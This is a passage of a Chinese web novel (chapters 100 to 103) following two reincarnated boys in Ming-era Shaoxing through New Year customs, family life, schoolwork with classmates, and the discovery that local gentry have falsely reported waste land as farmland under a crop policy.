周盈心里不免,也觉得这话说出口,如重千钧,但事情总得跨过去,躲也是躲不开的。 今日 提起来,索性便就说开了。 “咱们现今是进了郭氏的祠堂,但现在郭氏都在我们手里。儿子也实在不想在这种事情上费工夫,毕竟娘你也是知道的,成家操持家里头的事情,多烦心呢?” “儿子将来是想做官的,想给百姓办点事情的。心思不在这上面,对别人来说,这也不公平。” 郭嘉听了他这话,都得佩服他的勇气了。心里不免觉得,有个哥哥在头上顶着,其实还蛮舒坦的。虽说这个哥哥呢,太卷,卷的他都哭天抢地的。 但也能扛事! 郭怡皱起眉,没开口说什么,反倒是盯向了郭嘉。 “……” 这不看不好,一看,郭怡眼皮一跳:“嘉儿?” “啊?” “这事儿,你们商量好了?” “……嗯。” 郭嘉呵呵一笑,硬着头皮继续开口道:“我哥说得对,我俩都没这个心思,娘你就别逼我们了。” 周瑶闻言,皱起眉来。 屋内一时间,氛围就有些奇怪沉重了。 几个人都没了胃口。 不知过了多久。 周瑶长叹一口气:“吾儿长大了,有自己的想法了。” “娘…” “娘不劝你,但孩子的事情,还得细细斟酌。” “阿瑶!”郭怡这下子急了。 周瑶给她使了个眼色,又继续道:“你们现在还小,还想当然,不着急,等将来,真做了打算,再细谈这事情。” 这话潜台词便是没拒绝,也没答应。但周盈听了,心里却是猛松了口气,好歹是探出了口风,娘对过继的事情不排斥。 郭嘉心里默默给他点了个赞。 “吃饭吧,菜凉了不好吃了。” 一顿晚饭,四个人,四个心思。当然,今天的谈话,也算是为将来过继的事情,铺了个垫。 关于女学的事情,周盈和郭嘉商量了一下,劝农司那边是专给农户们开蒙的,现在直接塞进去也不妥当。 而且这个世道对男女大防的事情还是蛮看重的,思来想去的,倒不如直接在周府弄个小班级,给这些姑娘们开蒙。 至于教书的夫子,就干脆由郭怡担任。 郭怡对这事儿没什么意见。 毕竟当年两个孩子开蒙,也都是她教出来的!她对自己非常有信心。 周盈和郭嘉也就呵呵一笑,没拆穿。 有自信是好事啊。 时间一晃而过,转头也就到了大寒。窗外枝桠堆积了雪,私塾内,朗读声不绝于耳。 临近过年,很多的事情也就都慢了下来。 读书的事情,郭嘉还是那么不上心。 周盈则是该学学,该歇息的时候歇息。 至于张岱? 这家伙天天被郭嘉拉着开小灶,学习上那可谓是突飞猛进。 苦归苦,但苦的有回报,他也就没有那么怨声载道了。 沈越的学习比他好多了,虽说还经常会嘴欠张岱一句,但平日里,能教也会教点。 杨业就比较忙了,年末的时候,也是生意最好的时候,他这些天都没来私塾。 “郭师弟,这都快过年了,没必要抓得这么紧了吧?” “好歹让我歇歇。”眼看着郭嘉手上拿了一打的策论、经义题目递过来。 张岱脸色一白。 都要放假了!!能不能让人过个好年! 100.第 100 章 “诺,这是你的作业。张师兄,别想着偷懒,所谓学而不思则罔,思而不学则殆。脑子是越用越活的。” “郭师弟这话,我觉得说得对,宗子,你就忍忍吧。” 张岱走了过来,把先前夫子批阅的功课,丢到了他桌上,瞄了一眼郭嘉给他开小灶的一打功课,脸上也带了几分笑。 张岱叹了口气,有点生无可恋:“行行行,我知道了,我写就是了!” “宗吕呢?” “他?他忙着帮他爹打点家里的事情呢。” 周盈一听这话,把桌上一打写好的策论、经义题目,也递给了张岱。 张岱,瞪大眼睛,有些不可置信。 “不是给你的。是给杨师兄的,我见杨师兄这些天常不来私塾,怕他落下了功课。这一策习题,还请张师兄代为转交。” 张岱闻言,看着比自己那沓,还高出一半的作业,不免的,咽了咽口水,心里既有后怕,又有庆幸。 还好不是给他的,不然他就真只能在家写作业了! “这……会不会太多了?” “啊?不多啊,半个月也就写完了。”周盈不觉得有什么,要不是念着杨业年末忙,他可能还会多出点题目。 毕竟忙归忙,但学业也不能落下嘛。 “……”忘了,这是个大卷王了! “行……哦对了!” 张岱似乎想到什么,直起身:“我爹说了,这大过年的,也想请你们吃个饭,你看你们什么时候有空?” 两人对视一眼:“成啊,反正是吃饭,倒不如把人都叫上,一年到头,总得聚一聚。” “那感情好!就这么定了!” 就在几个人嘀嘀咕咕的时候,从门口进来的陈夫子,瞄了一眼屋里的一群学生。 沈越回到了位置上。 张岱也坐了下来。 郭嘉坐直了身体。 周盈低头不知道还在写着什么。 陈夫子走上前,咳了一声,学生们都抬头看向了他。 “腊月将近,年关在即。” 底下的学生们一听这话,都不由得竖起了耳朵。 “按惯例,私塾从明日开始,放半月冬假。” 话语一落,屋里顿时热闹了起来。 “放假了?天啊!终于放假了!” “鬼知道我这几个月是怎么过来的!” “天天去田里干活,手都起茧子了。” “可算是能歇歇了。” “宗子,你怎么不开心呢?” 真是哪壶不开提哪壶! 张岱听了这话,剜旁人一眼。看着自己桌上一沓功课,嘴角抽了抽。别人能放假出去玩,他还得在家写作业! 陈夫子见底下的学生闹腾的样子,不免,眼底也带了些笑意,等大家伙闹够了,这才慢悠悠,捋了捋胡须。 “放假是放假,但功课不能落下。” 他走到一旁,将手里的一沓纸,放在了桌上,翻阅了一会儿后,点了点头。 “你们周师弟、郭师弟,出的题目,我看过了。” 这话一出口,屋内一群人目光都变了。郭嘉惊了,他们俩出题目给张岱、杨业补课的事情,怎么夫子都知道了? “正所谓,独乐乐不如众乐乐,我看宗子这些天成绩,突飞猛进,有奉孝一份功劳!” 张岱闻言,呵呵一笑。 这真不是他出卖同窗……开小灶的事情,再怎么也瞒不住陈夫子啊,学生成绩突然往上涨了一截,哪个当老师的都会格外注意。 “因而——” 陈夫子转过身,看着面面相觑的一众学生:“功课方面,你们把这些题目抄下来,回去写。” 说着话,陈夫子把那些纸都发了下来。 周盈拿起一看。 嘿? 这不是之前他给杨业出的题目吗? “回去好好学,好好想,开春回来,我要一一检查。” “夫子……这都放假了,能不能不布置作业啊?” “是啊,夫子,我看我们抄几遍《论语》、《孟子》也就够了!” 这话一说出来,陈夫子吹胡子瞪眼:“叫你们跟着学,学就是了!哪那么多话!夫子会害你们不成?” “另外,你们周师弟、郭师弟在绍兴联考夺了魁首,这是咱们潘岳私塾的荣誉。你们做师兄的,别光顾着高兴,也掂量掂量自己,明年开春的县试,可别丢人。” “……”夫子真讨厌! 除夕夜前几日,本想睡个大懒觉的郭嘉,一大早就被郭怡“砰”一声推开门。 随后捣鼓捣鼓,擦擦这,扫扫那,窗户猛地一推,呼啦呼啦的风直往屋内灌! 郭奉孝受不了了!有点崩溃。 在床上蛄蛹蛄蛹:“娘!你干嘛!” “我干嘛?打扫卫生!这都什么时辰了!你在家也不知道清理一下自己的屋子,看看这么多灰!” 郭怡也是没好气,手上抄起抹布,把郭嘉屋里的窗户、柜子、椅子等等东西,全都擦了一遍。 再拿起拖把,来来回回的拖了几遍。 “知啦——” “嘎!” “哗哗哗…” 那动静,弄得郭嘉只能睁开眼,坐起来的时候,冷风吹进衣服里头,冻得他一阵发抖。 “起来!”郭怡没管他是什么心情,手抄起衣服朝他一甩。 郭奉孝:…… 得了,放个假,睡个懒觉都睡不成。 欸……命苦。 穿上衣服郭嘉心想,我不在这碍着你,还不行吗? 但等到一出门,外头大雪纷飞,风一吹,冻的他也是一个哆嗦。 这鬼天气,真冷! 走到前院,郭嘉就看到周盈这会儿袖子撸起,正坐在门口,帮着摘菜洗漱。 见他走过来,对方抬头:“哟?睡醒了?” “……我娘在大扫除,我哪睡得着!”郭嘉嘟囔了一嘴,手搂紧了一些衣服,走到一边,看着桌上备好的各色各样瓜果蔬菜。 不免稀奇道:“今天不是才廿七?怎么都准备起年夜饭了?” “什么年夜饭,你睡糊涂了?”将菜洗好,放进篮子里头,周盈目光有些诡异。 “那这是……” “请菩萨。” 哦,他忘了。 郭嘉啧了一声,走到一旁搬起小板凳,拿起一把菜,也跟着开始洗洗摘摘。 听着外头偶尔响起的鞭炮声,这年味儿,便霎时装满了整个空气。 “欸?我那把葱放哪了?”周瑶手拿着铲子走了 出来,眼看着两人排排坐在门口摘菜,嘀咕了一声。 转了一圈,在桌上也没见着。 周盈道:“我这呢,刚洗过。” 说着话递出去,周瑶抄起,摁在砧板上,刀夸夸夸几下,切成了小末,随后走进厨房。 哗一声,火光冲天。 紧接着爆香的味道便飘了出来。 “盈儿!酱油没了,你出去买点!” “知道了!” 放下手里的活,周盈擦了擦手:“走吧,出去逛逛。” 郭嘉闻言,冻得一哆嗦:“太冷了……要不你出去算了。” “懒死你得了!起来!”见他这一到冬天就恨不得钻被窝,死活不肯出来的劲儿,周盈都有些无语了。 手拽着郭嘉衣领子一提。 “哎!我走就是!你放手,你手好冷的!” 街道上,这会儿家家户户都挂上了灯笼,几个小儿挑着鞭炮,点了后直接撒丫子狂奔乱窜。 “劈里啪啦——!” “爆竹声中一岁除啊!赵掌柜,新年好!”站在酱油坊前,周盈听着几个人寒暄。 拿起打好的酱油,这转身一看,就见郭奉孝跟几个小孩聊的津津有味,手上拿着摔炮,点着了,随后一甩——! “啪啦噼哩!” “啊!哪家熊孩子!崩着人了!”有倒霉蛋大喊一声。 郭奉孝闻言心道不妙,低头看了一眼呆愣眨眼的小孩儿,手里猛一塞,随后一推。 “去,玩去吧,哥哥有事。” “……?” 周盈在边上笑得人仰马翻,哎哟……活宝。 “走了,再不走,等会儿人家发现是你丢的,那你就有好果子吃了。” 郭嘉一听这话,拽着人就溜。 两个人在路上走着,路上的摊贩吆喝着,昨夜下的大雪,积盖住了整条路,铲开的地上,这会儿都结了冰。 堆成的雪人四仰八叉的,丑的可爱。 “这个…糖渍山楂,味道还不错,你尝尝?”郭嘉捧着一包油纸,嘴里嚼着东西,手上捏了一颗递给周盈。 塞进嘴里,周盈眯起眼,酸酸甜甜的。 “味道不错。” “哎?我说,这请菩萨,到底干嘛用的?”来到这好些年了,郭奉孝还是不太理解这点习俗。 每逢过年过节的,都得请这么一次。 还都要摆上鸡、鱼、猪肉的。 怪讲究的。 听他这么说,周盈嘴抿了抿:“我也不知道,但你不觉得这种习俗,挺有氛围的吗?” “……菩萨真的存在?” 周盈笑了笑,笑得有些意味深长:“你问我?” 郭嘉嗯哼,眼珠子一转:“有没有菩萨我是不知道,但你我是知道的。” 周盈哈哈一笑:“走了,下雪了,回去吧。” 是夜。 雪下的越来越大,外头的鞭炮声不绝于耳,吵闹的小孩儿蹦跶的欢。屋里,准备了一桌饭菜,插着两根筷子的猪头被放在桌子正中央。 周瑶拿起蜡烛点了,插在烛台上。 郭怡则拿了个盆来。 等会请完菩萨,顺道把祖宗也拜了,这样一桌饭就算是物尽其用了。 “好了,来拜菩萨。” 101.第 101 章 周瑶闭上眼,站在桌前,双手合十:“菩萨保佑我儿,学业有成,一生顺遂,不求大富大贵,只求一心如意。” 周盈站在一旁,就这样看着。 插在炉上的香火闪烁,烟气袅袅。 烧的很快,他也都听到了。 “来,盈儿、嘉儿,拜一下。” 郭嘉对此没什么想法,但是为了应付两个妈的眼神,也就上前随意糊弄了一下。 周盈双手合十,心里只道:一家安康,即是富足。 酒盅换了一茬,原先十二个的,这会儿摆成三方十五个,黄酒倒了半杯。 叠成元宝形状的黄纸、银票,丢被丢在了盆里头。 烛火袅袅间,点着的元宝丢进盆,霎时便火光冲天了。 郭嘉看着,似想到什么一般,凑到周盈边上:“……这么多元宝银票烧,底下难道不会贬值吗?” 周盈:“……” “你这人,就喜欢破坏气氛。” “我这是,实事求是!” 眼看着余烬纷飞,郭怡把盆拿了出去,随后周盈和郭嘉就把该端进厨房热的菜端了进去。 周瑶抄起坛子里的几根年糕,哐哐几下,切成了片,炒的喷香间,外头的碗筷已经摆上。 “来!吃饭了!”端出炒好的年糕,周瑶朝着外头喊了一嗓子。 这会儿正堆着雪人,并且对周盈手艺指指点点的郭嘉,闻言直接丢下手里的一捧雪。 “走走走,我都饿了!” 周盈见状,忍俊不禁一笑,拿起一旁的树杈子,看着眼前圆滚滚的胖雪人,手一插,便将雪人的手臂装了上去。 这样,看着就圆满了。 “盈儿!吃饭了!” “来了!” 虽是廿七夜,但这会的年味已浓,鞭炮声已不绝于耳。偶有富贵人家放的烟花,便引起不少小孩哄闹。 晚上来串门的街坊邻居也多。 “过年好,过年好!周寡妇,新的一年,你家小孩说不说媒啊?我可都打听好了,桥头那家…” 嗯……连媒婆都上门了。 坐在屋檐下,吃着点心的两个人听着对话,皱了皱眉。好在是周瑶直接回绝了。 “走,别坐着了,帮娘搬东西,咱出去一趟。” 两个人也好奇的紧,但看着周瑶忙前忙后的,郭怡直接端出一个大盆,显然是兴师动众的架势。 拿着酒壶酒杯,几碟贡品,四个人就这么上了桥。 不看不知道啊,一看都吓了一跳。 这会儿桥上,来了好些人,婆子点着香,朝着桥头拜着。船只从底下拱桥穿过,有人喜气洋洋:“造纳雷洞扒罢浇德布洒,哈酿拧瓒色稀奇(绍兴话:你们在这拜桥头菩萨,也让人沾沾喜气)。” “哦哟喂,侯宗沛,德茂分类,戈矛类贼(绍兴话:刚才不来,现在倒是来了)” “……” 眼看一群人聊得兴起,周瑶摆上酒,点上蜡烛。 身后跟着的郭嘉这会儿也是大开眼界了。 “还有桥头菩萨的?” “……我也不知道。”这个周盈是真不知道了,更不知道为啥这么多人,大过年的在桥上吹冷风,拜这个还不知道存不存在的“桥头菩萨”。 “嗯?小师弟?”走上桥,张岱眼尖,一眼就瞄到了人群里的周盈等人。 “张师兄?你怎么也在?”周盈都稀奇了,这儿大晚上的。 “哦……我这过来看看热闹,怎么,你们也来拜菩萨?” “呃……是啊,额呵呵。” 周瑶拜完菩萨,这会儿站起身,见着张岱也是一喜:“呀。张相公,怎么在这儿见着了?” “我来看看!欸?周夫人,前些天在你们家沽的酒,这会儿都快喝完了,不知点几时开门?” “这有什么的!等明儿,我找人给张相公府上送几坛!” “那感情好,对了,我爹说了,初五请你们吃个饭,到时候一起聚聚啊!都来。” “好!” 一番话下,桥上不少人目光都看了过来,也有人惊喜道:“哎!是周神童和郭神童家!” “哟,周寡妇,来拜桥头菩萨啦!” 周盈和郭嘉眼看着周瑶那笑得眼睛都眯起来的劲儿,俨然是准备再说说白话,心里不免叹了口气。 外头冷啊! 娘\周娘,拜完咱们好回去了! 临近亥时,这菩萨才算是拜完了,一行人回到屋里头。抖了抖雪,郭嘉捧着一碗姜汤喝着。 “这天气,也太冷了。” “还喝?出来继续拜。”走到门口的周盈,见他这小身板抖成什么似的,不免也有些无奈。 “还有?!”郭嘉都惊呆了。 “嗯……说是拜,车头菩萨,也不知道哪来的,郭娘和我娘在门外,对着两匹马,那辆车,嘀嘀咕咕,神神叨叨的。”纵是周盈,心里也有点稀奇了,这小犄角旮旯的,哪来那么多菩萨的? 郭嘉手抖着放下碗:“求神拜佛,倒不如自己做主!” “我受不了了!” “受不了,也得忍,也就一年一天,走吧。” 忙活了一整天,等彻底闲下来,周盈叹了口气,坐到小凳上,看着家里打扫的一干二净的屋子。 只见,一道尖声破空,随后火光从空中炸开。 轰的巨响间。 郭嘉从门外跑了进来:“走啊!在这坐着干嘛。放烟花了!” 周盈忍俊不禁,站起身,往外走去:“来了。” 拜完菩萨之后,两个人倒是能闲一会儿了。 除夕夜,团圆饭。 一大早被薅起来,郭嘉看着碗里头的年糕,筷子抖了抖,实在是……有些无从下嘴。 “能不能换个早饭?” “嗯?不好吃吗?” 这天天吃年糕烧粥,谁受得了… “那你吃那些吧。”周盈一指。 郭嘉看过去,就看到满满一桌请完菩萨,剩下来的饭菜。 “……” “别想了,好歹吃的是新鲜热乎的。吃完,等会得去一趟酒坊。” “去干嘛?” 周盈吃饭速度很快,郭嘉转头看过来,发现他已经下了半碗,手上筷子夹了年糕塞进嘴里,不免的有些惊讶。 关键是这家伙,抿着嘴,咀嚼间也不说话,吃相优雅的很。 “年三十,总有人要沽酒?我娘和郭娘没空,我们去看着 。” “……行吧。” 临近除夕,这会儿街上的店铺也都关上了门,偶有几个开门的,多是贩卖烟花爆竹、酒水酱醋的。 这些是年味必不可少的佐料。 孩儿笑门口,现今也贴上了对联,周盈开了门。不一会儿的功夫,就有人上门沽酒了。 “呀!周神童,今儿怎么你们看店?” “我娘在家有事,我来看看,老伯,要什么?” 那老伯呵呵一笑:“来坛番薯酿的新酒,上回沽的,都喝完了!要我说,这番薯玉米,还真是好东西,都能拿来酿酒了,省下来的粮食也就能给人吃了!” 周盈听着这话,也就笑了笑,一旁的郭嘉给他搭把手,两人盛了满满一坛。 “小心些,回头再来。” “周神童,新年好。”上前的高烨,这会儿也是一派喜色。没了平日里那副滑不溜丢的劲儿。 看到他,周盈和郭嘉都有些惊讶。 “高公公?这年三十的,您怎么亲自前来沽酒?” “在家一直呆着,也累,这不出来走走?我看你们这玉米番薯酿的酒,喝起来味道那是真不错!”说着这话,高烨都竖起了大拇指了。 这是不服不行了。 能把百姓们都不想种、觉得鸡肋的番薯玉米,弄出了名堂来,这样点石成金的能力,谁能不佩服呢? 太监虽是帮着皇上办事的。 但真有本事、有风骨的人,只要是个正常人,不与之为敌,那都是心有尊敬的。 而今国策推行稳妥,高烨心里头舒坦,说几句好听话,那又有什么关系呢? 周盈笑着开口:“这话说的,咱们用番薯和玉米酿酒,也是为了赚钱,多的,再帮帮别人。” 接过郭嘉斟好的酒递了过去:“这酒算是我请公公了,也不是什么大钱,大过年的,公公亲自前来,也是信任咱们孩儿笑招牌。” 高烨笑得眼睛都眯起来了,颔首道:“两位小神童这份心,我都记着呢,等回了京,这地方的事,都会如实禀报于皇上。” “那就谢谢公公了,回见。” 一番攀谈,送走了人。 边上的郭嘉见没人再来沽酒,自个儿便倒了一碗,小抿了一口:“这高烨,什么情况?” “国策的事情定下了,他自然是高兴。再说了,跟咱们交好也没坏处,将来若是入朝为官了,于他而言,也算是提前打点了人脉。” 周盈看得清,手放下东西,看着街道上偶有几个人来往,心里不免也想起了关于来年的事情。 走到他边上,郭嘉看着外头天色渐渐昏暗,烛火逐渐星亮,这夜色,蒙了片湛蓝,好似罩了万家灯火。 “别想那么多了,这大过年的,先把日子过好?” 听他这么一说,周盈笑了起来:“说的也是。” “走吧,应该没人来了,咱们回去吃饭。” 郭嘉放下碗,哎哟一声,皱着眉:“我这腿酸的厉害,站久了就疼。” “……” 小郭狐狸眨眨眼睛:“汝瑛哥哥~” 周盈受不了,心知他是耍赖皮呢,叹了口气转过身弯腰:“上来吧,你这身体,我看来年得让你好好练练了!” 102.第 102 章 “哼!”郭嘉嘻嘻一笑,直接扑了上来。 锁上门,两个少年,一人背着另一人,在雪飘的除夕夜,一路往前。 夜色下。 是灯火,也是烟花。 乍响间。 是爆竹,也是笑声。 轰炸开的巨大烟花,照的人全是暖色,郭嘉抄起一旁的雪,冻的一抖。 随后就往周盈后脖子里塞! “嘶!拿开!” “不!手冷!” “……有病。” 打打闹闹,拌嘴间,这就到了家门口。 四个人坐在门口,围在火炉前,吃着饭,看着外面烟花此起彼伏,心里暖融融,亦有说不尽的喜色。 年夜饭,团圆夜。 正好时。 初一,被薅起来的郭嘉打着哈欠。 “为什么大年初一……都不让人睡个好觉?” 他困得晕头转向的,靠在周盈肩上。这会儿还是大晚上,寅时初。两个精神抖擞的母亲,手上点着香火蜡烛。 是的。 他们正在,整个山阴县内,最大、香火最旺盛的寺庙。 游禅寺。 点蜡烛。 拜菩萨。 “没完没了了。” 周盈也是无奈:“忍忍吧。” “盈儿!来拜菩萨!” “来了。” 进了大殿,香火熏得郭嘉阿嚏阿嚏的打喷嚏。 周盈给他递了块帕子。 抬头望向这些金身塑形的诸天神佛,周盈叹了口气,目光一转,看着周瑶和郭怡两个人虔诚叩拜的样子。 心里也有些感触。 “我们拜吗?” 他看向郭嘉:“泥塑之物,拜不拜,都无妨。” “那我不拜了。” 周盈闻言,笑道:“还是拜吧,有的时候,做这些事情,争的不是有没有意义。是争个家宅安宁。” 郭嘉皱眉:“这跟家宅安宁什么关系?” “你要是不拜,等会郭娘就会开始扯着你耳朵说:臭小子,连拜菩萨都不肯?说着说着,就会说你这些天一直睡懒觉,在家也不知道做些事情……” 周盈掰着手指说,把郭嘉说的都无语了,感情是这种家宅安宁!那拜一下也无妨。 “好好好!拜就是了。” 他朝着蒲团跪下,随后闭上眼双手合十。 周瑶起身一看,见周盈脸上憋笑的样子,便开口道:“盈儿?你也拜拜啊。” 周盈脸上笑了笑,没办法,真没办法。 大年初一拜菩萨。 初二初三初四,都是走亲戚的时候。 周瑶一家本是外来的,因入了郭氏宗祠,便也一道跟着郭怡,走了一圈,郭嘉都有些累瘫了,总归是把这个年给过了! 初五。 郭嘉如愿以偿,睡了个懒觉。 大中午,雪消雨霁。 饿醒了只能爬起来,发抖着穿上衣服。 一看到院子里,周盈这会儿穿着看起来极为单薄的衣衫,手臂扎的严严实实。 “吼矣——!” 霎时! 剑出如龙,长腿一扫,腰身猛朝后后一倾。 只见那剑刃白虹一闪。 横破长空,一剑挑断靶子上的玉米梗! 簌簌两声,跌落在地。 他呼吸微促,似察觉身后目光,这才转头一看。郭嘉披着一件大袄子,张着嘴,目光有些呆滞,缓缓吐出两个字:“狠人。” 看了一眼头顶太阳,再看看郭嘉这副打扮,一时间,周盈都忍不住“噗嗤”出声。 “有这么冷吗?” “废话,不然我穿这么多干嘛?” 周盈是真不觉得,他现在浑身都是汗,热乎乎的跟个小火炉一样。 郭嘉叹了口气,手搓了搓胳膊。 “我说,这种天气,得冻死多少人?” 说到这里,周盈手上动作间,把剑收入鞘中,走到边上挂起:“眼见这天气越来越冷,再过些年,只怕不用到年关,都得飘起鹅毛大雪了。” 捧了杯热茶暖暖身子,郭嘉抿了一口:“这也不是人力能抗衡的事情,你也别太往心里去。事情能做就做,实在不行……咱们也尽力了。” 周盈没说话。 低头拿起另一杆长枪,左右挥舞着,似在审视一般。 随后走到院中,手肘一发力,枪花挑出,如龙盘旋,如虎咆哮。空气呼啦呼啦响,枪尖横空如锤一般,朝着一侧猛锥过去! 钉在了靶子上。 一松手。 枪杆振动盘旋。 “我要做的事情,一定要去做到。”说完这句话,他转身走了过来。 脸颊粘了几缕发丝,额间汗水滑过挺巧鼻梁。周盈擦拭间,呼吸匀称,长腿一跨,走到一旁拿起杯子灌了口水。 郭嘉瞧他这臭德行,能耐的很。 算了,这家伙心里定好的事情,那是十头牛都拉不回来。 “你不饿吗?我娘刚煮了年糕粥,这会儿还热乎呢。” 咕噜一声响起。 郭嘉却面如菜色:“能不能换个早饭,我想吃面……饼。” “刚打的年糕,你忍忍吧。” “我从年初忍到了现在。” “再忍一个月,差不多就能吃完了。” “……” 郭奉孝不说话了,但胃实在是难受,没办法,只能站起身。 他这小模样给周盈看乐了。 “挑什么食?嘴巴这么刁,也没见你那会儿有的选啊。” “那、那也不一样…那会儿是没得吃。这会儿是有的吃。再说了…我还挺怀念那些蛋糕、雪媚娘、奶茶、炸鸡……巴拉巴拉。” 郭嘉开始掰着手指头算了。 未来生活真美妙。 “还有酒吧!” “……”周盈无语了。 “你也别这么看我,你把咱们喊醒干活,还不能让我们也享受享受?” “没说不让你们享受,但你这…消停点吧,迟早胖成球。” 郭嘉:不听不听,周盈念经! 大过年的,街上也没什么人。张岱订的酒楼在临河的位置。这会儿酒楼里倒是热闹的很,来往客人笑呵呵。 先到的张岱一行人,早在包厢里等着了,郭嘉周盈一进来,就看到一帮人已经举着杯子,喝了一轮了! “小师弟!总算是来了。”张岱放下杯子走上来,手上掏了掏袖子,随后…… “诺!压岁钱!”两个大红包,递到了周盈和郭嘉面前。 周盈、郭嘉:…… “怎么?嫌少啊?”张岱见他们脸色神情古怪,皱起眉间,便又想往袖子里掏。 周盈忙接过:“啊哈哈哈…这红包真好,看着就喜庆 !谢谢张师兄。” “是啊是啊…一看就挺有分量的。” 杨业闻言,也是忍俊不禁:“宗子这一直念叨着你们呢,就怕你们今天不来。” “我这也有红包。” “我也有。” 连收了几个师兄的红包,周盈这会儿也有些不太好意思了。 “可别不好意思!来年开春,玉米番薯就得种下去了,这国策一成,咱们能拿的好处不少,这点小钱,意思意思而已。” “是啊,宗子还准备了好些礼物,你们等会吃完饭,记得带回去。” 张岱笑了笑:“老头子还跟我说了,得挑点好的布匹送来,也算是他的一份心意。” “我跟你说,那布是上好的云缎锦,十两银子才能买一匹,穿在身上,阳光一照,就跟云彩似的,这才得了名。” “哦?这么好?”周盈倒也稀奇了。 想着大过年,也是几个师兄一番心意,便也没有回绝,只是攀谈着。郭嘉是不喜欢听这些废话,走到一旁坐下,早上吃了点儿年糕粥,他这会儿都饿了! “杨师兄,汝瑛给你的那些策论、经义题目,你拿到了吗?” 一听郭嘉问这话,杨业嘴角一抽,脸色也稍微变了变。旁边坐着的沈越笑着摇头,倒是帮腔说道:“周师弟一份心意,宗吕自然是明白。” “但不巧也就不巧在,前些天宗吕家里来了客人,熊孩子玩闹,那沓作业,不知怎得,掉进了水里!” “啊?”郭嘉一时间没反应过来。 杨业咳了一声:“是啊,就是这样!郭师弟我们别说这个了,先吃饭!这可是上好的鹅肉,清蒸熟了,沾点酱料入嘴,肉质肥软绵密!” 他是想把这事情揭过去,心虚了! 郭嘉皱眉,眼珠子一转,还没想好拆不拆穿呢,偏不巧的,张岱跟周盈聊了些什么,转头一嗓子喊:“宗吕,你那作业呢?我不是说咱们一起带过来,让小师弟们看看?” 杨业手上筷子一抖。 “嗯?宗吕,怎么不说话?”张岱见他坐在位置上,也不动作,皱着眉走了过来,手上还拿着自己写完的那一沓作业,真可谓是好学生啊! 老实,太老实了! 杨业拿帕子擦了擦手,仿佛刚听到一般:“啊?你喊我了?哦……那沓作业啊…” “嘶……哎呀,这也不知道怎么回事,掉进水里了。” 周盈:……? 杨师兄你看我像是傻子吗? 沈越在一旁憋笑的厉害,郭嘉手上筷子不停,这会儿掰了块鹅肝塞进嘴里。 眼看着桌上几个人表情,周盈抱着胸,也无奈了:“掉了就掉了,再补就是了。” 杨业闻言,咽了咽口水:“周师弟,你那功课……份量太多了,能不能少点?我这年末的也忙啊。” “嗯,那就来年补上吧,好歹大过年的,杨师兄也能放放假。”周盈哪里听的进他那圆滑的委屈,直接把作业堆起来了。 总归都是得补上的 杨业这会儿是心死了。 人家张岱,好歹是郭小师弟开小灶,能歇歇,能偷懒! 他? 别想了! 谁不知道周师弟最卷最用功了! 张岱哈哈一笑:“宗吕,用点心啊!可别到时候,被我们都比下去了!” 杨业也是苦笑,拿起酒杯碰了一下:“我也是真命苦咯。” 103.第 103 章 万历四十一年。 惊蛰过,春雷响 是夜。 雷声隆隆。 好雨知时节,当春乃发生。 严冬的冷意尚未消退,潮湿的水汽便扑面而来。 撑着伞走在田边。 周盈这会儿也不免的,被寒风吹得一阵哆嗦,天气太冷了,便是开了春,这地也是种不得的。 沈二柱披着蓑衣,跟在他身旁,掰着手指头说道:“小贵人,也不是咱们不想种,但这近些年的农时,实在是稀奇。往年开春三月左右就暖了,今年这两月底了,还冷的飘雪呢!” 他说着话,也跟着叹了口气:“那玉米番薯苗,虽不比粮食金贵,可这会儿种下去,一个倒春寒过来,就能冻死一大片。” “咱们就只能等着,等到四月份了,天气也稳当了,才能往下种。到时候五六个月就能收成,秋收就能拿去卖,也算是安稳过日子了。” 眼看着冻土上,还结着一层霜,周盈听了这话,也只能颔首:“农事方面,我也不太懂,这些就只能靠你们。” “哎!说的什么话,咱们这些农民,种地为生,对这些也就懂点儿。” 周盈看着他笑了笑:“懂这些,就比懂什么都重要了。” 巡视了一圈,见也没什么大事情,周盈这才回了周府。 方一进门,就听到大院旁的一间小屋子里,读书声朗朗响起。 周盈脚步一顿,走到边上看了一眼。 只见郭怡这会儿,正拿着本书,在屋里头教着底下的一群女学生。这些孩子中,年纪最大的也就十岁左右,看着一个比一个专注,手上的书翻阅着。 郭怡念一句,她们就跟一句。 还真有点样子。 周盈莞尔一笑,便也就不打扰了。 他前脚刚进了屋,郭嘉后脚也赶了回来。脚步匆匆,衣袂沾了些雨水。 “嗯?怎么了?”刚坐下,拿起书,周盈就看郭嘉脸色有些难看。 一听他这话,郭嘉反是先走到桌边给自己倒了杯水,喝了口热乎茶后,这才开口说道:“我不是去看了其他的田吗?那帮商贾乡绅,不让人紧盯着些,能那么乖乖听话?” “发生什么事情了?” 郭嘉皱起眉,看向了他:“大问题。” “前几个月,不是谈好了,让乡绅和商贾们,把一半的田改种玉米番薯,另一半继续用来种粮食、桑叶等产出物吗?” “结果,我这次去看了一圈,发现其中有好些人,报上来的‘良田’,那根本就不是田。” 听到这里,周盈也觉出其中事情的不对劲了,放下书坐直了身体,目光中带着些许冷意,声音也低沉了几分:“是有人拿下等田滥竽充数?” “比这还过分。” 手拿着块核桃酥咬了一口,郭嘉手指点着空气,咀嚼咽下后,继续开口道:“那帮人,不知道怎么想的,拿了些边边角角的荒田,直接报上来,充当了良田!” “有些,压根都没开垦,还有的,连土都没翻!” 说到这,郭嘉也气得不行,这帮人竟是在他们眼皮子底下,都敢做这种事情!这要是今年种下去番薯玉米,结果秋收不景气,那国策就全完蛋了。 心中后怕三分,也有几分庆幸,好在是他心里不太舒坦,想着坐在家里头,坐久了无聊,便干脆出去走走,看看别家的田翻的如何了。 也就没带什么人,自己一个人去的,因此,这才见着了这样触目惊心的事情。 郭奉孝属于是,平时喜欢偷懒闲着,但真碰上事情,那是真上。用他的想法来说,那就是……把事情赶紧弄完,这样就有多的时间能躺平享受了。 这跟周盈的心态就不一样,周盈是每时每刻都要活的有意义,每天都要过得充实。 一听他这么分析,周盈立刻也就坐不住了,马上站起来,脸色阴沉了几分,问了一连串问题,跟连珠炮似的:“有哪些人?他们报上来的田亩大概多少?荒田占的比例多不多?借了那些农户多少粮?” 皱了皱眉,叹了口气,郭奉孝摇头:“我去查了,十五个人里头,占比六人。多是山阴县当地的乡绅,那帮商贾倒还好,都挺老实的。” “至于报上来的田亩,约莫占比五百亩,其中掺水一半左右,也就是二百八十亩多些。” “……”周盈深呼吸一口气,心里也是少有的火气冒了上来,但好歹是忍住了。 